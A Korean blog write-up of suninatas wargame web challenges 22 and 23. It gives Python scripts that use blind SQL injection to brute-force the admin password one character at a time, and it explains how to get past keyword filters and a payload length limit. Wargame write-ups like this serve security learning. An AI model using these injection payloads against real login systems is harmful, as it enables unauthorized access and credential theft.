본문 바로가기
해킹 공부/웹해킹

[web] suninatas

by zzzmilky 2021. 11. 16.

suninatas 웹 문제

 

학기중에 suninatas에서 웹 다 풀어보았다.

사실 라잇업을 작성할만한 문제는 22번이랑 23번외엔 딱히 없었는데,

이 두개가 Blind SQL injection 문제이다. Dreamhack에서 자주 연습해볼 기회가 없었던 문제들이었다.

마침 풀었더니, damCTF에 나온 웹 문제 하나와 굉장히 비슷했다.

 

22번 문제다.

select 필터링, union 필터링, or 필터링이 인상적이다.

우선 password 길이를 알기 위해서 id에 admin' and len(pw)=숫자-- 를 입력해주고 반복문을 돌려주었을때 password 길이가 맞으면 다음과 같이 OK admin이 뜨게 되는데, 이렇게 비밀번호 길이는 10임을 구할 수 있다.

 

위와 같은 SQL 문이 통하는 이유가 id에 admin' 을 입력하면 id는 admin and len(pw)=10 이 두개의 SQL 문이 통하기 때문이다. -- 뒤에는 주석 처리 되므로 무시되고, ' 필터링이 없어서 그대로 id에 admin이 들어간다.

 

 

 

import requests

#length of pw: id에 admin' and len(pw)=10-- 

host = "http://suninatas.com"

id_payload = "admin' and substring(pw,1,1)='a'--"

fullstring=""

for i in range(1,11):
    for j in range(33,127):
        id_payload="admin' and substring(pw,"+str(i)+",1)='"+chr(j)+"'--"
        print(id_payload)
        payload = {'id': id_payload , 'pw': '1'}
        #headers = {'_ga':"GA1.2.941365865.1636961682",'_gid':"GA1.2.1404486221.1636961682",'ASPSESSIONIDAADSRDRA':"KOONEOMAMFADCOENJJKLJEPF", 'auth_key':"%3F%3F%3F%3F%3F", 'ASPSESSIONIDCSTCRCQA': "CFOBMOBBDMKHMAFILNAIICBH", 'ASP.NET_SessionId':"bigp00uojzatxatcxg0ni3mb"}
        r = requests.get(host+"/challenge/web22/web22.asp", params=payload)
        #print(r.content)

        if (r.text.find('OK')>0):
            fullstring+=chr(j)
            print(fullstring)
            break

print(fullstring)

페이로드는 위와 같이 짰는데 사실 헤더를 저렇게 다 짤 필요도 없다.

형식은 id에 admin' and substring(pw,1,1)='a'-- 이런식인데, id가 admin일때 substring 함수를 이용해서 pw를 구하는 방법이다. SQL 문법에서 substring은 2번째 인자에서부터 3번째 인자만큼의 값들을 의미하는데, 이렇게 3번째 인자를 매번 1로 해두면 pw 문자열에서 2번째 인자가 가르키는 index만 확인할 수 있게 된다. pw에는 임의의 값을 넣어주면 된다.

 

따라서 위와 같이 brute forcing 해주면 select, union, or 등등 키워드가 필터링 되어도 페이로드를 짤 수 있게 된다.

 

 

 

23번 문제가 이것을 응용한 문제다.

 

필터링된 키워드에 admin이 들어가 있다. 따라서 위 문제와 같이 id에 admin을 입력해줄 수가 없다.

pw length를 구하기 위해선 id에 admin 대신 ad'+'min'을 입력해주어야 한다. 따라서 pw length를 구하기 위해 id에 ad+'min' and len(pw)>10-- 를 입력해주다가 13부터는 OK admin이 뜨지 않음을 확인할 수 있는데, 길이가 13임을 구할 수 있다.

 

 

import requests

host = "http://suninatas.com"




id_payload_left = "'or left(pw,1)='1'--"

fullstring_left=""

for i in range(1,13):
    id_payload_left = id_payload_left[:12] + str(i) + id_payload_left[13:]
    for j in range(33,127):
        fullstring_left+=chr(j).lower()
        id_payload_left = id_payload_left[:16] + str(fullstring_left) + "'--"
        payload = {'id': id_payload_left , 'pw': '1'}
        r = requests.get(host+"/challenge/web23/web23.asp",params=payload)

        if (r.text.find('OK')) != -1:
            if((i==1) & (j==71)):
                fullstring_left=""
                j+=1
            else:
                break
        else:
            fullstring_left=fullstring_left[:-1]



id_payload_right = "'or right(pw,1)='1'--"

fullstring_right=""

for i in range(1,4):
    id_payload_right = id_payload_right[:13] + str(i) + id_payload_right[14:]
    for j in range(33,127):
        fullstring_right+=chr(j).lower()
        reversed_str = "".join(reversed(fullstring_right))
        id_payload_right = id_payload_right[:17] + str(reversed_str) + "'--"
        payload = {'id': id_payload_right , 'pw': '1'}
        r = requests.get(host+"/challenge/web23/web23.asp",params=payload)

        if (r.text.find('OK')) != -1:
                break
        else:
            fullstring_right=fullstring_right[:-1]



print(fullstring_left+reversed_str)

 

우선 이 문제의 숨겨진(?) 핵심은 페이로드 글자 길이 제한에 있다. 위 필터링 키워드에는 명시적으로 나와있지는 않지만, 페이로드 길이가 길어지면 No Hack가 뜨게 된다. 그 점 때문에 많은 어려움을 겪엇었는데,

특히 admin 우회하는 방법과 관련해서 reverse('nimda') 이나 concat 하는 방법을 사용해보려고 했지만 페이로드가 너무 길어졌었다.

 

따라서 or 문법을 이용해서 id가 admin이 아닌 상태에서 pw를 구해주면 된다.

이때 발생하는 또 다른 문제점이, id가 guest일때의 pw가 구해지게 되는 것인데, 이때 Guest가 비밀번호이다. 따라서 ascii 코드가 71로 시작하지 않는다고 조건을 걸어줘야한다. 그렇게 하면 id가 guest가 아닌 admin일때의 비밀번호가 구해진다.

 

또 다른 문제는 substring 함수가 통하지 않는다는 것이다. 그래서 left와 right 함수를 사용하면 된다.

left(pw,i) 함수의 경우, pw 문자열에서부터 왼쪽에서 i번째 값, right는 오른쪽에서부터의 값을 의미한다.

이 두 함수를 사용해서 비밀번호의 앞 절반과 뒤 절반을 따로 구해야하는데, 이는 또 페이로드 글자길이 제한과도 관련이 있다.

 

23번 문제의 경우, left 또는 right 함수는 22번 문제의 substring 함수와 다르게 알맞게 구해놓은 pw를 누적해서 페이로드를 보내줘야 한다. 따라서 뒤로 갈수록 페이로드가 길어지게 되는데, 앞 절반과 나머지 절반을 각각 구한다음 합쳐주면 된다. 이 때 주의할 점은 뒤 절반을 구할때에는 right함수의 경우 오른쪽에서부터의 값이므로 구한 문자열을 뒤집어줘야한다.

 

 

 

댓글